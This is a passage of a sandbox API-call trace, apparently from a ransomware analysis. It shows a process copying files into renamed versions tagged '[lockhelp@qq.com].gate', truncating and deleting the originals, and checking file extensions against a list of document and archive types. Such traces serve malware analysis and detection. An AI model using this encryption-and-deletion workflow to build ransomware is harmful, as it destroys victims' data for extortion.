(lpString1=".dll", lpString2=".gate") returned -1 [0115.475] lstrlenW (lpString="SetupUi.dll") returned 11 [0115.476] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0115.476] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=295248) returned 1 [0115.476] CloseHandle (hObject=0x358) returned 1 [0115.476] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 0x80 [0115.476] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0115.476] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0115.476] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0115.476] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0115.476] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0115.477] GetLastError () returned 0x0 [0115.477] ReadFile (in: hFile=0x358, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x48150, lpOverlapped=0x0) returned 1 [0115.565] WriteFile (in: hFile=0x35c, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0x48160, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0x48160, lpOverlapped=0x0) returned 1 [0115.570] ReadFile (in: hFile=0x358, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x0, lpOverlapped=0x0) returned 1 [0115.571] WriteFile (in: hFile=0x35c, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0xea, lpOverlapped=0x0) returned 1 [0115.571] SetEndOfFile (hFile=0x35c) returned 1 [0115.571] CloseHandle (hObject=0x35c) returned 1 [0115.578] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0115.578] SetEndOfFile (hFile=0x358) returned 1 [0115.581] CloseHandle (hObject=0x358) returned 1 [0115.581] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0115.582] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 1 [0115.582] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0115.582] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0115.582] lstrlenW (lpString=".doc") returned 4 [0115.582] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0115.582] lstrlenW (lpString=".docx") returned 5 [0115.582] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0115.582] lstrlenW (lpString=".pdf") returned 4 [0115.582] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0115.582] lstrlenW (lpString=".xls") returned 4 [0115.582] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0115.582] lstrlenW (lpString=".xlsx") returned 5 [0115.582] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0115.582] lstrlenW (lpString=".ppt") returned 4 [0115.582] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0115.582] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0115.582] lstrlenW (lpString=".zip") returned 4 [0115.582] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0115.582] lstrlenW (lpString=".rar") returned 4 [0115.582] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0115.582] lstrlenW (lpString=".bz2") returned 4 [0115.582] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0115.582] lstrlenW (lpString=".7z") returned 3 [0115.582] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0115.582] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0115.582] lstrlenW (lpString=".dbf") returned 4 [0115.582] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0115.582] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0115.583] lstrlenW (lpString=".1cd") returned 4 [0115.583] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0115.583] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0115.583] lstrlenW (lpString=".jpg") returned 4 [0115.583] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0115.583] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0115.583] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0115.583] lstrlenW (lpString=".doc") returned 4 [0115.583] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0115.583] lstrlenW (lpString=".docx") returned 5 [0115.583] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0115.583] lstrlenW (lpString=".pdf") returned 4 [0115.583] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0115.583] lstrlenW (lpString=".xls") returned 4 [0115.583] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0115.583] lstrlenW (lpString=".xlsx") returned 5 [0115.583] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0115.583] lstrlenW (lpString=".ppt") returned 4 [0115.583] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0115.583] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0115.583] lstrlenW (lpString=".zip") returned 4 [0115.583] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0115.583] lstrlenW (lpString=".rar") returned 4 [0115.583] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0115.583] lstrlenW (lpString=".bz2") returned 4 [0115.583] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0115.583] lstrlenW (lpString=".7z") returned 3 [0115.583] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0115.583] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0115.583] lstrlenW (lpString=".dbf") returned 4 [0115.583] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0115.583] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0115.584] lstrlenW (lpString=".1cd") returned 4 [0115.584] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0115.584] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0115.584] lstrlenW (lpString=".jpg") returned 4 [0115.584] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0115.584] lstrcmpiW (lpString1=".exe", lpString2=".gate") returned -1 [0115.584] lstrlenW (lpString="SetupUtility.exe") returned 16 [0115.584] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0115.584] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=96088) returned 1 [0115.584] CloseHandle (hObject=0x358) returned 1 [0115.584] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 0x80 [0115.584] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0115.585] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0115.585] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0115.585] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0115.585] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0115.585] GetLastError () returned 0x0 [0115.585] ReadFile (in: hFile=0x358, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x17758, lpOverlapped=0x0) returned 1 [0115.599] WriteFile (in: hFile=0x35c, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0x17760, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0x17760, lpOverlapped=0x0) returned 1 [0115.601] ReadFile (in: hFile=0x358, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x0, lpOverlapped=0x0) returned 1 [0115.601] WriteFile (in: hFile=0x35c, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0xf4, lpOverlapped=0x0) returned 1 [0115.601] SetEndOfFile (hFile=0x35c) returned 1 [0115.602] CloseHandle (hObject=0x35c) returned 1 [0115.604] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0115.604] SetEndOfFile (hFile=0x358) returned 1 [0115.605] CloseHandle (hObject=0x358) returned 1 [0115.605] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0115.606] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 1 [0115.606] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0115.606] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0115.606] lstrlenW (lpString=".doc") returned 4 [0115.606] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0115.606] lstrlenW (lpString=".docx") returned 5 [0115.606] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0115.606] lstrlenW (lpString=".pdf") returned 4 [0115.606] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0115.606] lstrlenW (lpString=".xls") returned 4 [0115.606] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0115.606] lstrlenW (lpString=".xlsx") returned 5 [0115.606] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0115.606] lstrlenW (lpString=".ppt") returned 4 [0115.606] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0115.606] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0115.606] lstrlenW (lpString=".zip") returned 4 [0115.606] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0115.606] lstrlenW (lpString=".rar") returned 4 [0115.606] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0115.607] lstrlenW (lpString=".bz2") returned 4 [0115.607] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0115.607] lstrlenW (lpString=".7z") returned 3 [0115.607] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0115.607] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0115.607] lstrlenW (lpString=".dbf") returned 4 [0115.607] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0115.607] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0115.607] lstrlenW (lpString=".1cd") returned 4 [0115.607] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0115.607] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0115.607] lstrlenW (lpString=".jpg") returned 4 [0115.607] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0115.607] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0115.607] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0115.607] lstrlenW (lpString=".doc") returned 4 [0115.607] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0115.607] lstrlenW (lpString=".docx") returned 5 [0115.607] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0115.607] lstrlenW (lpString=".pdf") returned 4 [0115.607] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0115.607] lstrlenW (lpString=".xls") returned 4 [0115.607] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0115.607] lstrlenW (lpString=".xlsx") returned 5 [0115.607] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0115.607] lstrlenW (lpString=".ppt") returned 4 [0115.607] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0115.607] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0115.607] lstrlenW (lpString=".zip") returned 4 [0115.607] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0115.607] lstrlenW (lpString=".rar") returned 4 [0115.608] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0115.608] lstrlenW (lpString=".bz2") returned 4 [0115.608] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0115.608] lstrlenW (lpString=".7z") returned 3 [0115.608] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0115.608] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0115.608] lstrlenW (lpString=".dbf") returned 4 [0115.608] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0115.608] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0115.608] lstrlenW (lpString=".1cd") returned 4 [0115.608] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0115.608] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0115.608] lstrlenW (lpString=".jpg") returned 4 [0115.608] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0116.608] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0116.608] lstrlenW (lpString="sqmapi.dll") returned 10 [0116.608] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0116.609] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=144416) returned 1 [0116.609] CloseHandle (hObject=0x370) returned 1 [0116.609] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 0x80 [0116.609] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0116.610] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0116.610] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0116.610] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0116.610] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0116.611] GetLastError () returned 0x0 [0116.611] ReadFile (in: hFile=0x370, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x23420, lpOverlapped=0x0) returned 1 [0116.693] WriteFile (in: hFile=0x30c, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0x23430, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0x23430, lpOverlapped=0x0) returned 1 [0116.696] ReadFile (in: hFile=0x370, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x0, lpOverlapped=0x0) returned 1 [0116.696] WriteFile (in: hFile=0x30c, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0xe8, lpOverlapped=0x0) returned 1 [0116.696] SetEndOfFile (hFile=0x30c) returned 1 [0116.696] CloseHandle (hObject=0x30c) returned 1 [0116.703] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0116.703] SetEndOfFile (hFile=0x370) returned 1 [0116.705] CloseHandle (hObject=0x370) returned 1 [0116.706] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0116.706] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 1 [0116.707] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0116.707] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0116.707] lstrlenW (lpString=".doc") returned 4 [0116.707] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0116.707] lstrlenW (lpString=".docx") returned 5 [0116.707] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0116.707] lstrlenW (lpString=".pdf") returned 4 [0116.707] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0116.707] lstrlenW (lpString=".xls") returned 4 [0116.707] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0116.707] lstrlenW (lpString=".xlsx") returned 5 [0116.707] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0116.707] lstrlenW (lpString=".ppt") returned 4 [0116.707] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0116.708] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0116.708] lstrlenW (lpString=".zip") returned 4 [0116.708] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0116.708] lstrlenW (lpString=".rar") returned 4 [0116.708] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0116.708] lstrlenW (lpString=".bz2") returned 4 [0116.708] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0116.708] lstrlenW (lpString=".7z") returned 3 [0116.708] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0116.708] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0116.708] lstrlenW (lpString=".dbf") returned 4 [0116.708] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0116.708] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0116.708] lstrlenW (lpString=".1cd") returned 4 [0116.708] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0116.708] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0116.708] lstrlenW (lpString=".jpg") returned 4 [0116.708] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0116.708] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0116.708] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0116.708] lstrlenW (lpString=".doc") returned 4 [0116.708] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0116.709] lstrlenW (lpString=".docx") returned 5 [0116.709] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0116.709] lstrlenW (lpString=".pdf") returned 4 [0116.709] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0116.709] lstrlenW (lpString=".xls") returned 4 [0116.709] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0116.709] lstrlenW (lpString=".xlsx") returned 5 [0116.709] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0116.709] lstrlenW (lpString=".ppt") returned 4 [0116.709] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0116.709] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0116.709] lstrlenW (lpString=".zip") returned 4 [0116.709] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0116.709] lstrlenW (lpString=".rar") returned 4 [0116.709] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0116.709] lstrlenW (lpString=".bz2") returned 4 [0116.709] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0116.709] lstrlenW (lpString=".7z") returned 3 [0116.709] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0116.709] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0116.709] lstrlenW (lpString=".dbf") returned 4 [0116.709] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0116.709] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0116.709] lstrlenW (lpString=".1cd") returned 4 [0116.710] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0116.710] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0116.710] lstrlenW (lpString=".jpg") returned 4 [0116.710] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0116.710] lstrcmpiW (lpString1=".msu", lpString2=".gate") returned 1 [0116.710] lstrlenW (lpString="Windows6.0-KB956250-v6001-x86.msu") returned 33 [0116.710] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0116.710] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=2192672) returned 1 [0116.710] CloseHandle (hObject=0x370) returned 1 [0116.710] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu")) returned 0x80 [0116.711] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0116.711] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[lockhelp@qq.com].gate")) returned 1 [0116.711] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0116.711] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafc64 | out: lpNewFilePointer=0x0) returned 1 [0116.711] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafc24 | out: lpNewFilePointer=0x0) returned 1 [0116.711] ReadFile (in: hFile=0x370, lpBuffer=0x39cf058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2eafc30, lpOverlapped=0x0 | out: lpBuffer=0x39cf058*, lpNumberOfBytesRead=0x2eafc30*=0x40000, lpOverlapped=0x0) returned 1 [0116.736] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xb270a, lpNewFilePointer=0x0, dwMoveMethod=0x2eafc24 | out: lpNewFilePointer=0x0) returned 1 [0116.736] ReadFile (in: hFile=0x370, lpBuffer=0x3a0f058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2eafc30, lpOverlapped=0x0 | out: lpBuffer=0x3a0f058*, lpNumberOfBytesRead=0x2eafc30*=0x40000, lpOverlapped=0x0) returned 1 [0116.766] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2eafc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0116.766] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x1d7520, lpNewFilePointer=0x0, dwMoveMethod=0x2eafc24 | out: lpNewFilePointer=0x0) returned 1 